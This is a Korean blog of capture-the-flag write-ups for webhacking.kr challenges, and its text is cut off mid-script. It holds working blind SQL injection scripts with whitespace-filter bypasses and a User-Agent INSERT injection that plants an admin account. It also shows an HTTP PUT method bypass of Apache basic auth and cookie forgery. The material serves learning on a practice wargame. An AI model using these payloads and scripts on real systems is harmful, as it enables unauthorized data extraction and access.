늘모자란, 개발

늘모자란, 개발




무려 1천점짜리 문제.. 제목도 그렇지만 SQL injection 문제라고 한다.
곧이 곧대로 적어서 보내보니 no hack이라고 뜬다

여러 질의를 해봤는데, 값은 1과 0으로 나오는거 같다. 그리고 이것저것 쳐보니 select는 안걸리는데, 공백이 걸리는것 같다.
개행을 이용한 공격에서 사용했듯, %0a를 적어서 쿼리를 해보니 걸리진 않는것 같다.

첫 시도는 그래서 개행을 모두 %0A로 변경해서 다음과 같이 날려봤다.

select%0Aflag%0Afrom%0Aprob13password


result가 0이 나온다. 보니까 false를 의미하는것 같다. 여기까지 공백으로 우회되는걸 확인해봤으니 억지로 true로 만들어볼 차례.

1%0Aor%0A1


1 or 1 을 날려보니 result가 1로 반환되었다. T/F가 맞는것 같다.
IF를 이용한 공격 에서 써먹었던 IF로 반환되는 값을 체크하도록 해보자.

처음 접근은 거의 완전히 똑같이 length로 접근했다. URL은 모양은 다음과 같다.
http://webhacking.kr/challenge/web/web-10/?no=IF((select%0alength(flag)%0afrom%0aprob13password)in(37),1,2)


근데 50자리까지 length를 돌렸는데 잘 안되었다. 뭐가 문제인가 고민을 하는 시간을 가졌다..
결국 쿼리를 직접 따와서 내가 한번 돌려봤더니 다음과 같은 에러가 나왔다.

Subquery returns more than 1 row


그러니까 즉, 이 테이블에는 row가 1개 이상인것이다. 정답만 있는게 아니다. limit를 이용해서 강제로 select해보려고 했으나 no hack이라고 나왔다. 즉 접근 자체는 맞는것 같다. count를 이용해서 flag가 몇개인지 세어볼 필요가 있었다.

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }

for i in range(1,10):
    url = 'http://webhacking.kr/challenge/web/web-10/?no=(select(count(flag))from%0aprob13password)in({})'.format(i)
    
    req = urllib2.Request(url, '', headers)
    response = urllib2.urlopen(req).read()

    if ("<td>1</td>" in response):
        print "count flag --", i


드디어 뭔가 결과를 얻은 기분. 2가 나왔다. 다시 length를 뽑아보자.

http://webhacking.kr/challenge/web/web-10/?no=(select%0alength(max(flag))%0afrom%0aprob13password)%0ain({})


max, min을 차례로 넣어준다.

여기서 얻은 값은

min일 경우 20이 나온다.
max일 경우 4

암만봐도 min, 즉 첫번째 row가 비밀번호겠지만 궁금해진다.
문제는 다 푼것 같지만 max엔 뭐가 있을까? 한번 해보기로 한다. hex값으로 맞추는건 위에 IF를 어쩌고 링크에 있다

#!/usr/bin/env python
# -*- coding: utf8 -*-
 
import urllib, urllib2, re
 
sess = ""

headers = {'Host': 'webhacking.kr',
           'Cookie': "PHPSESSID={}".format(sess)
          }
pw = ''
for i in range(1,5):
    for j in range(32,123):
        url = 'http://webhacking.kr/challenge/web/web-10/?no=(select%0asubstr(max(flag),{},1)%0afrom%0aprob13password)%0ain({})'.format(i,hex(j))
        print url

        req = urllib2.Request(url, '', headers)
        response = urllib2.urlopen(req).read()
        #print response

        if ("<td>1</td>" in response):
            pw = pw + chr(j)
            break
print pw



참 시덥지 않은 값이 나온다. 따로 돌려보는걸 권하진 않는다. 어쨌든 이렇게 해결..
challenge 9를 선행했다면 크게 어렵진않은것 같다. 다만 sql 쿼리가 정식 IDE? 같은게 아니다 보니 괄호실수가 엄청 잦다. 시간 대부분 괄호맞추고 그러느라 허비한것 같다....

덧. 나는 값이 대문자로 나왔는데, 소문자로 입력해야한다.
2016/03/29 12:05 2016/03/29 12:05
들어가면 'javascript challenge'라고 두 단어적혀있다. 굳이 스크린샷 뜨는게 낭비인것 같다.

소스를 보면 다음과 같이 적혀있다.


<html>
<head>
<title>Challenge 12</title>
<style type="text/css">
body { background: black; color:white; font-size:10pt; }
</style>
</head>
<body>

<script>
WorkTimeFun=String.fromCharCode(118,97,114,32,101,110,99,111,61,39,39,59,13,10,118,97,114,32,101,110,99,111,50,61,49,50,54,59,13,10,118,97,114,32,101,110,99,111,51,61,51,51,59,13,10,118,97,114,32,99,107,61,100,111,99,117,109,101,110,116,46,85,82,76,46,115,117,98,115,116,114,40,100,111,99,117,109,101,110,116,46,85,82,76,46,105,110,100,101,120,79,102,40,39,61,39,41,41,59,13,10,32,13,10,32,13,10,102,111,114,40,105,61,49,59,105,60,49,50,50,59,105,43,43,41,13,10,123,13,10,101,110,99,111,61,101,110,99,111,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,105,44,48,41,59,13,10,125,13,10,32,13,10,102,117,110,99,116,105,111,110,32,101,110,99,111,95,40,120,41,13,10,123,13,10,114,101,116,117,114,110,32,101,110,99,111,46,99,104,97,114,67,111,100,101,65,116,40,120,41,59,13,10,125,13,10,32,13,10,105,102,40,99,107,61,61,34,61,34,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,52,48,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,50,48,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,51,50,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,49,57,50,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,50,54,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,48,48,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,48,52,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,50,50,50,45,50,41,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,95,40,49,57,56,41,41,43,34,126,126,126,126,126,126,34,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,50,41,43,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,101,110,99,111,51,41,41,13,10,123,13,10,97,108,101,114,116,40,34,80,97,115,115,119,111,114,100,32,105,115,32,34,43,99,107,46,114,101,112,108,97,99,101,40,34,61,34,44,34,34,41,41,59,13,10,125,13,10);

eval(WorkTimeFun);

</script>

<font size=2>javascript challenge</font>
</body>
</html>


필터링을 피해 XSS를 걸때 주로 사용되는 방법으로, fromCharCode를 하면 저녀석들을 브라우저가 알아서 해석해 돌리게 된다.
옛날엔 어떻게 해독을 했을지 모르겠는데 요새는 브라우저가 너무 좋아졌다.
String.fromCharCode부터 쭉 복사해서 개발자도구를 열고 콘솔에 엔터 한번 쳐준다.

var enco='';
var enco2=126;
var enco3=33;
var ck=document.URL.substr(document.URL.indexOf('='));
 
 
for(i=1;i<122;i++)
{
enco=enco+String.fromCharCode(i,0);
}
 
function enco_(x)
{
return enco.charCodeAt(x);
}
 
if(ck=="="+String.fromCharCode(enco_(240))+String.fromCharCode(enco_(220))+String.fromCharCode(enco_(232))+String.fromCharCode(enco_(192))+String.fromCharCode(enco_(226))+String.fromCharCode(enco_(200))+String.fromCharCode(enco_(204))+String.fromCharCode(enco_(222-2))+String.fromCharCode(enco_(198))+"~~~~~~"+String.fromCharCode(enco2)+String.fromCharCode(enco3))
{
alert("Password is "+ck.replace("=",""));
}


원래의 코드가 등장했다.
약한 느낌으로 난독화 되어 있기때문에 얘도 읽는 성의를 들여야한다. 그치만 우린 귀찮으니까 브라우저의 똑똑함에 맡겨가며 읽어보자.

for(i=1... 이 구문은 척 봐도 CharCode대로 enco에 다 넣어주는 코드다.
일일히 돌려보기 귀찮은 사람은 그냥 alert(enco); 하면 다 나온다.

여튼 얻은 값은 다음과 같다. 깨진 문자열이 있어서 복사는 제대로 안된다. (아스키코드에 기반하므로)



느낌이 오겠지만 얘는 아마 문자열 배열처럼 쓰일것 같다.
function은 넘어가고, 아주 길어보이는 if문을 보자. 아주 길어보이지만 사실 별거 없다.
보자고 했지만 얘네를 또 모조리 다 읽어야할까? 역시 당연히 아니다. 원리는 enco_ 라는 함수로 한번더 꼬은것뿐, String.fromCharCode와 결국 원리는 거의 같다.
이녀석을 읽는데 시간투자하지 말고, 그냥 복사해서 console.log로 찍어보자. 정답이 나온다. Auth 해주면 풀이 완료.
2016/03/28 22:04 2016/03/28 22:04


GET파라미터, val에 위 정규식을 만족하는 문장을 넣어야 하는 모양이다.
지운 하얀색부분엔 내 아이피가 적혀있다. 정규식은 그럼 어떻게 읽어야하는가?
모두 다 알고 있으면 아주 좋겠으나 이제 배우는 사람도 있지 않겠나라고 말하지만 나도 읽을줄 모르니 내가 즐겨 사용하는 정규식 사이트에 들어가서 해설을 보도록 한다

        [1-3] match a single character present in the list below
            1-3 a single character in the range between 1 and 3
        [a-f]{5} match a single character present in the list below
            Quantifier: {5} Exactly 5 times
            a-f a single character in the range between a and f (case sensitive)
        _ matches the character _ literally
        .* matches any character (except newline)
            Quantifier: * Between zero and unlimited times, as many times as possible, giving back as needed [greedy]
        (IP A) matches the characters 115 literally
        . matches any character (except newline)
        (IP B) matches the characters 145 literally
        . matches any character (except newline)
        (IP C) matches the characters 179 literally
        . matches any character (except newline)
        (IP D) matches the characters 30 literally
        .* matches any character (except newline)
            Quantifier: * Between zero and unlimited times, as many times as possible, giving back as needed [greedy]
        \t Tab (ASCII 9)
        p matches the character p literally (case sensitive)
        \t Tab (ASCII 9)
        a matches the character a literally (case sensitive)
        \t Tab (ASCII 9)
        s matches the character s literally (case sensitive)
        \t Tab (ASCII 9)
        s matches the character s literally (case sensitive)


해석이 나온다. 보기만해도 현기증이 나오는 영어들이지만 어쩌겠나
하나씩 보면,

[1-3] 은 1과 3사이의 숫자를 입력
[a-f] 는 a부터 f사이의 알파벳인데, 뒤에 {5}가 붙어있다. (5회 반복)
_는 말그대로 _를 붙이는거고,
.*는 any character를 넣어야 되니 그냥 알파벳을 아무거나 적어준다.
이후에 아이피들을 쭉 적어주고.
다시 .*가 나타나니 아무거나 적어준다. 지금까지 만들어진걸 보면 이런 모양이다.



깔끔하게 매치됐다. 문제는 뒤쪽인데, 탭문자가 들어가있다. 탭은 urlencode해서 넣어줘야한다. 요기서는 탭을 감지를 못한다.
url을 완성해서 엔터를 치면 끝. 대략 이런 모양이 된다.

http://webhacking.kr/challenge/codeing/code2.html?val=1fffff_f123.567.222.222a%09p%09a%09s%09s



2016/03/28 21:47 2016/03/28 21:47

전에 전남대인가 뭐 뜀뛰기 하는 문제를 본적이 있어서 대강 감은 오는데 대강 봐도 O를 buy lotto 저기로 이동시켜야 될 삘이다


<html>
<head>
<title>Challenge 10</title>
</head>

<body>
<hr style=height:100;background:brown;>
<table border=0 width=900 style=background:gray>
<tr><td>
<a id=hackme style="position:relative;left:0;top:0" onclick="this.style.posLeft+=1;if(this.style.posLeft==800)this.href='?go='+this.style.posLeft" onmouseover=this.innerHTML='yOu' onmouseout=this.innerHTML='O'>O</a><br>
<font style="position:relative;left:800;top:0" color=gold>|<br>|<br>|<br>|<br>buy lotto</font>
</td></tr>
</table>
<hr style=height:100;background:brown;>

</body>
</html>


소스를 대강 읽어보면, hackme 라는 'O' 를 옮겨야되는것 같은데, go라는 파라미터가 있다.
클릭하면 1씩 증가하고 얘가 800 되면 O에 링크가 생기는것 같다. 근데 아무리 클릭해도 클릭이 안된다.
크롬도 안되고 파이어폭스도 안된다. 혹시 하는 마음에 IE를 켜서 클릭하니 된다 아놔.... 클릭하면 조금씩 움직이는걸 볼 수 있다.
800까지 움직여야되는데 1씩 움직이는걸 언제 800번 클릭할 것인가? 똥같은 IE 개발자 도구를 열어서 수정해보자.
left값을 799로 수정해준담에 클릭하는순간 클리어...라고 뜨는데 사실 뭘 말하는지 모르겠다 ㅡㅡ

굳이 크롬에서 하고 싶어서 일부러 queryselectAll 등을 이용해 click이벤트를 발생시켜봤으나 안움직인다. 그냥 ..  IE에서 풀고 빨리 넘어가자




좀 어이가 없는것이긴한데.. js및 css는 클라이언트에서 얼마든지 조작이 가능한 값임을 명심하고 보안에 적용하면 안된다는게 포인트...?
멋대로 교훈을 남겨본다;;


2016/03/28 21:30 2016/03/28 21:30
이번 문제는 900점짜리. 그간 풀었던거 세개는 더해야 나오는 고수준의 문제로 추정된다.
일단 문제를 누르면 역대급으로 얼탱이가 없다.



이번 문제는 문제를 보여주지도 않고 basic auth를 요구한다. 뭐 볼 껀덕지가 없으니 raw를 보도록하자.

GET http://webhacking.kr/challenge/web/web-09/ HTTP/1.1
Host: webhacking.kr
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ko,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://webhacking.kr/index.php?mode=challenge
Cookie: PHPSESSID=
Connection: keep-alive


평범하다. sql injection world라는데 나도 여기서 헤매서 검색을 해보니 얘는 애초에 대상이 아니었다 ㅡㅡ
먼저 이녀석을 설명하기전에 간단히 http header를 설명하는 시간을 가져보자.

http request method는 가장 많이 알고 있는 GET, POST외에 놀랍게도(?) 더 있다
http 1.1 RFC에 따르면 다음과 같다.
잘 정의된 REST API 들은 아래 HTTP method를 충실히 지키고 있지만, 사실 대부분 GET으로 처리하고 있다.
이 글을 이녀석을 어떻게 돌파하는지에 대한 설명이니까 자세히는 설명하지않겠고, 잘 설명된 글은 이곳에 있으니 한번 읽어봐도 좋을 것 같다.

글을 한번쯤 읽어봤다는 가정하에 설명하자면, 이 basic auth에는 치명적인 약점이 있다.
바로 method를 GET과 POST에만 한정짓고 있다는 것.
이 auth를 돌파하기 위해 다음과 같이 request를 조작한다. 다른건 없다. method만 바뀐다.

PUT http://webhacking.kr/challenge/web/web-09/ HTTP/1.1


사실 좀 기상천외한 방법이다.
왜 이런 일이 일어나느냐? Apache의 설정이 미숙한 관리자에 의해 발생한다..

     <Directory >
         Options FollowSymLinks
         AllowOverride All
         Order allow,deny
         Allow from all
         AuthType Basic
         AuthName "sql injection world"
         AuthUserFile /.htpasswd
         Require valid-user
     </Directory>


위는 대략적인 apache의 basic auth를 설정하는 구문인데, 옛날에는 이를 limit하는 구문이 있었다고 한다. 대략 이런느낌이다.


AuthType Basic
 AuthName "Login plz ^-^"
 AuthUserFile /usr/local/apache/passwd/passwords
 <Limit GET POST>
         Require valid-user
 </Limit>


위와 같이 limit를 걸게되면 method를 제한하게 되고 결국 PUT, OPTIONS와 같이 크게 알려지지 않은 http method에 의해 구멍이날 수 있다는 것이다. (옛날엔 저렇게 설정하는게 일반적이었다고 한다. 해결방법은 그냥 첫 예시처럼 limit를 넣지 않으면 모든 method에 대해 동작한다)

좀 멀리 돌아왔지만, PUT으로 헤더를 변경해 보내게 되면 아까처럼 인증창을 요구하지 않고, 즉시 응답을 보내준다.



<html>
<head>
<title>Challenge 9</title>
</head>
<body>
<a href=?no=1>1</a>&nbsp;<a href=?no=2>2</a>&nbsp;<a href=?no=3>3</a>&nbsp;<form method=get action=index.php>
Password : <input type=text size=10 maxlength=11 name=pw><input type=submit>
</form>
</body>
</html>


하지만 여전히 산넘어 산이다. 이제부터 sql injection을 해야된다.



소스로만 봤을땐 method가 GET이므로 폼을 넘겨줘도 당연히 basic auth가 뜰테고, 클릭할 수 있게 되있는 1,2,3은 무엇을 의미할까?

클릭별로 반환되는 데이터는
1: Apple (with form)
2: Banana (with form)
3: Secret hint : length = 11 column: id,no
4~: (form)

처음에는 form의 pw에 값을 넣어서 보내봤는데 아무래도 소용이 없다.
하긴 애초에 form은 GET이기때문에 접근할 수 조차 없게 되있다. 결국 no를 사용해야 할 것 같다.
그래서 아주 간단하게, no에 or 1=1을 넣어서 보내봤더니,

Access Denied가 날아왔다. 고로 no를 써야겠다는 생각은 드는데..
이전에 했던 문제중 http header injection을 이용한 문제를 떠올려보자. 맞다 아니다는 알려주지 않았지만 0과 1을 이용해 구분을 했었다.
이 문제도 Apple과 Banana로 구분되고 있다. mysql 프로시저를 짜봤으면 알겠지만 mysql도 IF라는 녀석이 있다.
예시 구문을 만들어 날려보자.

PUT http://webhacking.kr/challenge/web/web-09/index.php?no=IF(1>2,1,2) HTTP/1.1


Denied가 날아온다. >가 필터링 되고 있다. 따라서 >, <, = 는 못쓴다고 봐야할 것 같다. STRCMP 등도 고려해봤으나 괜찮은 답이 안나와서 결국 IN을 쓰기로 했다. 어떻게 비교가 되긴하는것 같았다.

이후 한글자식 잘라서 비교를 하려는데 ascii라는 단어가 필터링되어있다. (Access Denied)
테스트해보니 ord도 안되고, hex, char도 안된다. 결국 찾다 찾다가 hex값으로 비교하기로 했다. (이외의 방법은 거의 없는 것 같다...)

여기서 함정이 있다

나는 apple과 banana로 true/false를 구분하려고 했는데, 페이지 반환을 1,2로 할 경우 값이 다르게 나온다.
length를 때려보면 알 수 있지만, IF 값을 줄때는 3,0 을 주도록 하자. 3일경우에만 제대로 나온다!
여기서 삽질을 좀 ....... 욕밖에 안나오네

python code는 다음과 같이 짰다

#!/usr/bin/env python
# -*- coding: utf8 -*-

import urllib2

pw = ''
for i in range(1,12):
    for j in range(97,126):
        opener = urllib2.build_opener(urllib2.HTTPHandler)
        url = "http://webhacking.kr/challenge/web/web-09/index.php?no=IF(substr(id,{},1)in({}),3,0)".format(i,hex(j))
        request = urllib2.Request(url)
        request.add_header('Cookie', 'PHPSESSID=')
        request.get_method = lambda: 'PUT'
        url = opener.open(request)
        #print url.read()
        if "Secret" in url.read():
            pw = pw + chr(j)
            print chr(j)

print pw


패스워드를 얻을 수 있는데, 이 패스워드를 GET 파라미터에 실어서 보내주면 문제가 해결된다.

<html>
<head>
<title>Challenge 9</title>
</head>
<body>
<script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 9 problems.</font><br><br><font color=green><b>Score + 900</b></font><br><hr></h1></center>




사실 이 문제는 시작부터 어떻게 해야할지 감이 안와서 여러 풀이 방법을 참고 하긴했는데,
여러 MYSQL function에 대해 보게 된 계기이기도 하다.

솔직히 말해서, PUT등으로 공격할 수 있는 사이트는 이제 전무하다고 생각한다...
2016/03/08 18:05 2016/03/08 18:05
얼마나 꾸준히 하게 될지 모르니 하는데로 해놓자


문제는 여전히 어이가 없게 생겼다.
소스보기를 하면 index.phps를 보라고 한다.


<?

$agent=getenv("HTTP_USER_AGENT");
$ip=$_SERVER[REMOTE_ADDR];

$agent=trim($agent);

$agent=str_replace(".","_",$agent);
$agent=str_replace("/","_",$agent);

$pat="/\/|\*|union|char|ascii|select|out|infor|schema|columns|sub|-|\+|\||!|update|del|drop|from|where|order|by|asc|desc|lv|board|\([0-9]|sys|pass|\.|like|and|\'\'|sub/";

$agent=strtolower($agent);

if(preg_match($pat,$agent)) exit("Access Denied!");

$_SERVER[HTTP_USER_AGENT]=str_replace("'","",$_SERVER[HTTP_USER_AGENT]);
$_SERVER[HTTP_USER_AGENT]=str_replace("\"","",$_SERVER[HTTP_USER_AGENT]);

$count_ck=@mysql_fetch_array(mysql_query("select count(id) from lv0"));
if($count_ck[0]>=70) { @mysql_query("delete from lv0"); }


$q=@mysql_query("select id from lv0 where agent='$_SERVER[HTTP_USER_AGENT]'");

$ck=@mysql_fetch_array($q);

if($ck)
{ 
echo("hi <b>$ck[0]</b><p>");
if($ck[0]=="admin")

{
@solve();
@mysql_query("delete from lv0");
}


}

if(!$ck)
{
$q=@mysql_query("insert into lv0(agent,ip,id) values('$agent','$ip','guest')") or die("query error");
echo("<br><br>done!  ($count_ck[0]/70)");
}


?>


장황한 PHP 코드가 적혀있다.
그런데 시작부터 모르는 함수가 나왔다. getenv("HTTP_USER_AGENT")는 어떤값을 출력할까?
찾아보니 $_SERVER['HTTP_USER_AGENT']; 와 같다고 한다...... -_-

어쨌든 출력값은 다음과 같다.

Mozilla/5.0 (Windows NT 10.0; WOW64; rv:44.0) Gecko/20100101 Firefox/44.0


나는 Firefox / windows10을 사용하고 있는데 요녀석들이 크게 의미는 없는것 같다.
이후 과정에서 trim과 .와 /를 _로 처리하는 과정이 있고, 다양한 과정을 통해 필터링하고 있다.
일반적인 브라우저 접근으로는 절대 걸리지 않을만한 내용들이다.

하지만 초점을 맞춰야되는건 그게 아니고, 가장 아래줄인 insert 하는 부분이다.
agent 와 ip를 입력받는 부분인데 agent 값을 속여 다음과 같은 형태로 만들것이다.

insert into lv0(agent,ip,id) values ('식별자','ip','admin'), ('....


이경우 무조건 1번 인덱스를 읽도록($ck[0]) 되어 있기때문에 나에게 어드민권한을 내려줄것이다.

이렇게 raw data를 조작한다.

User-Agent: "fantazm','1','admin'),('2


이렇게 하면 서버는 유저입력을 원래 agent값을 넣는게 아니라 fantazm이라는 값으로 admin과 함께 넣어준다.

<br><br>done!  (59/70)


이후에 agent를 fantazm 으로 수정하여

User-Agent: fantazm



날려주면 피니쉬.
hi <b>admin</b><p><script>alert('Congratulation!');</script><center><h1><br><br><hr><font color=gray>You have cleared the 8 problems.</font><br><br><font color=green><b>Score + 350</b></font><br><hr></h1>
2016/03/08 17:00 2016/03/08 17:00
2번째 줄 첫 문제!

문제에 들어가면 url이 변경된다. val=1이 붙는데 이상해서 2,3을 추가로 넣어봤다.
당연히 auth를 누르면 access denied되는데, get 파라미터를 수정하면 버튼 대신 다른 문구들이 나오는걸 볼 수 있다.
고로 아마 파라미터를 이용하는 문제가 아닐까 생각된다.

소스를 보니 역시 대강 짐작이 맞는 것 같다.

<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p><!-- admin mode : val=2 -->
<!--

index.phps

-->


admin_mode가 2로 설정되있고 1은 일단 아무짝에도 쓸모가 없다.
고로 2로 인식하도록 쿼리를 수정해야겠다는 생각을 하고..
문제의 힌트인 index.phps를 읽어본다.

<!--
db에는 val=2가 존재하지 않습니다.

union을 이용하세요
-->
<?
$answer = "????";

$go=$_GET[val];

if(!$go) { echo("<meta http-equiv=refresh content=0;url=index.php?val=1>"); }

$ck=$go;

$ck=str_replace("*","",$ck);
$ck=str_replace("/","",$ck);


echo("<html><head><title>admin page</title></head><body bgcolor='black'><font size=2 color=gray><b><h3>Admin page</h3></b><p>");


if(eregi("--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column",$ck)) exit("Access Denied!");

if(eregi(' ',$ck)) { echo('cannot use space'); exit(); }

$rand=rand(1,5);

if($rand==1)
{
$result=@mysql_query("select lv from lv1 where lv=($go)") or die("nice try!");
}

if($rand==2)
{
$result=@mysql_query("select lv from lv1 where lv=(($go))") or die("nice try!");
}

if($rand==3)
{
$result=@mysql_query("select lv from lv1 where lv=((($go)))") or die("nice try!");
}

if($rand==4)
{
$result=@mysql_query("select lv from lv1 where lv=(((($go))))") or die("nice try!");
}

if($rand==5)
{
$result=@mysql_query("select lv from lv1 where lv=((((($go)))))") or die("nice try!");
}

$data=mysql_fetch_array($result);
if(!$data[0]) { echo("query error"); exit(); }
if($data[0]!=1 && $data[0]!=2) { exit(); }


if($data[0]==1)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Access_Denied!')><p>");
echo("<!-- admin mode : val=2 -->");
}

if($data[0]==2)
{
echo("<input type=button style=border:0;bgcolor='gray' value='auth' onclick=
alert('Congratulation')><p>");
@solve();
} 
?>


처음보이는 주석은 문제 푸는 사용자들이 얼마나 삽질을 했나 싶어서 넣어준 힌트같은데, 2로 시도하지말고 union으로 해야한다고 힌트를 준다.

$_GET['val']를 $go로 받고, 설정되어 있지 않다면 mode를 1로 설정 (버튼)한다.
즉 mode는 1이면 안된다. 0으로 넣어주도록 하자.

$ck에 *, / 가 있다면 제거.
--|2|50|\+|substring|from|infor|mation|lv|%20|=|!|<>|sysM|and|or|table|column 는 쓸수 없고, 일반 공백도 사용할 수 없다.
보면 왠만한건 다 막혀있다. urlencode된 문자열도 2가 필터링되어있고, %20 도 따로 공백을 처리해서 제거해주고 있다.

여기서 우회를 하려면 URL Encoding for hardware 를 보도록 하자.
정확히는 개행이 아니라 라인을 추가하게 하는것이다.

마지막으로 랜덤 -_- 을 돌려서 처리하게 하는데 이 때문에 쿼리에 확신이 없으면 쓸데 없이 고치는 시간이 들게 되니 쿼리에 확신을 가져보자.

이런 형태의 문장이 완성되어야한다.

select lv from lv1 where lv=(0) union select 2 #


이건 랜덤이 1일때를 가정한것이기때문에 여러번 새로 고침해야된다.
앞서 말한 글을 정리해보자.

공백과 2가 제거 되지만 url encode reference를 참고해 개행을 집어넣자. 어차피 db는 똑똑해서 우리의 침입을 알아서 허용해준다.

select lv from lv1 where lv=0)%0aunion%select%0a2#


여기서 2를 사용할 수 없다. 그래서 계산을 DB에게 맡겨야한다. 3-1를 넣어준다. 땡기면 5-3을 해줘도 ... 농담이다.

select lv from lv1 where lv=0)%0aunion%select%0a3-1#


마지막으로 주석을 처리해준다.

select lv from lv1 where lv=0)%0aunion%select%0a3-1%23


이대로 query에 날려주면 문제가 해결된다.
2016/03/08 13:08 2016/03/08 13:08
요것만 풀면 한줄이다.
100점짜리니까 쉬운 문제겠지 하고 가볍게 접근해본다.

여전히 정말 뭐같이 생겼다. 그래도 HINT라고 적힌것도 있고, index.phps라고 누를만한것도 보인다.
소스는 더 기가막히게 생겼다 



base64 encode를 20번해서 몸이 비대해진 녀석인데, 그 와중에 str_replace를 해서 decode가 되지도 않게 해놨다.
 $val_id=str_replace("1","!",$val_id); 
$val_id=str_replace("2","@",$val_id); 
$val_id=str_replace("3","$",$val_id); 
$val_id=str_replace("4","^",$val_id); 
$val_id=str_replace("5","&",$val_id); 
$val_id=str_replace("6","*",$val_id); 
$val_id=str_replace("7","(",$val_id); 
$val_id=str_replace("8",")",$val_id); 


그런데 이녀석을 우리가 decode해야만할까? 그렇지가 않다.
이녀석은 php코드이고, php 최신버전의 기능을 사용하고 있지도 않다.
즉, 그냥 이 코드를 갖다가 우리맘대로 바꿔 출력한 후에 쿠키로 설정하면 되는것이다.
index.phps에서는 user와 password가 모두 admin이면 패스하도록 되어있다.


바꾸면 대강 위와 같은 값이 나온다. 
쿠키에 넣어주면 간단히 해결.


소스가 노출되면 그만한 각오를 해야된다는 교훈을 알려주는 문제라고도 할 수 있겠다.
2016/03/08 01:53 2016/03/08 01:53
문제가 가면 갈 수록 변태적이게 변하는 기분이 든다.
어쨌든 5번 문제의 화면은 요렇다.

한숨만 나온다.

소스를 보기로 하자.

<html>

<head>
<title>Challenge 5</title>
</head>
<body bgcolor=black>
<center>
<font color=black>
.<p>
.<p>
.<p>
.<p>
.<p>
.<p>
.<p>
</font>
<input type=button value='Login' style=border:0;width:100;background=black;color=green onmouseover=this.focus(); onclick=move('login');>
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<input type=button value='Join' style=border:0;width:100;background=black;color=blue onmouseover=this.focus(); onclick=no();>

<script>
function no()
{
alert('Access_Denied');
}

function move(page)
{
if(page=='login') { location.href='mem/login.php'; }

}

</script>
</center>
</body>
</html>


일단, join은 누르기만 하면 무조건 no를 출력하게 되어 있는 쓸모없는 버튼이다.
login은 누르면 mem/login.php로 이동되게 되어 있으니 이동해보자.

로그인 화면이 하나 나오긴하는데 아무거나 입력해보면 이렇게 나온다.

admin 이라는 이름의 아이디로 로그인할 수 있다는 것이겠다.
하지만 우린 가진게 없다. 간단한 인젝션을 시도해봤으나 일단은 다 막혀있는 것 같다.
다시 메인으로 돌아가서, 왜 join을 굳이 no로 처리해두었을까?

혹시 mem/join.php가 존재하진 않을까? 빙고.
하지만 화면엔 아무것도 없다.

소스보기를 하면 다음과 같은 소스가 나온다.


<html>
<title>Challenge 5</title></head><body bgcolor=black><center>
<script>
l='a';ll='b';lll='c';llll='d';lllll='e';llllll='f';lllllll='g';llllllll='h';lllllllll='i';llllllllll='j';lllllllllll='k';llllllllllll='l';lllllllllllll='m';llllllllllllll='n';lllllllllllllll='o';llllllllllllllll='p';lllllllllllllllll='q';llllllllllllllllll='r';lllllllllllllllllll='s';llllllllllllllllllll='t';lllllllllllllllllllll='u';llllllllllllllllllllll='v';lllllllllllllllllllllll='w';llllllllllllllllllllllll='x';lllllllllllllllllllllllll='y';llllllllllllllllllllllllll='z';I='1';II='2';III='3';IIII='4';IIIII='5';IIIIII='6';IIIIIII='7';IIIIIIII='8';IIIIIIIII='9';IIIIIIIIII='0';li='.';ii='<';iii='>';lIllIllIllIllIllIllIllIllIllIl=lllllllllllllll+llllllllllll+llll+llllllllllllllllllllllllll+lllllllllllllll+lllllllllllll+ll+lllllllll+lllll;
lIIIIIIIIIIIIIIIIIIl=llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+lll+lllllllllllllll+lllllllllllllll+lllllllllll+lllllllll+lllll;if(eval(lIIIIIIIIIIIIIIIIIIl).indexOf(lIllIllIllIllIllIllIllIllIllIl)==-1) { bye; }if(eval(llll+lllllllllllllll+lll+lllllllllllllllllllll+lllllllllllll+lllll+llllllllllllll+llllllllllllllllllll+li+'U'+'R'+'L').indexOf(lllllllllllll+lllllllllllllll+llll+lllll+'='+I)==-1){alert('access_denied');history.go(-1);}else{document.write('<font size=2 color=white>Join</font><p>');document.write('.<p>.<p>.<p>.<p>.<p>');document.write('<form method=post action='+llllllllll+lllllllllllllll+lllllllll+llllllllllllll+li+llllllllllllllll+llllllll+llllllllllllllll
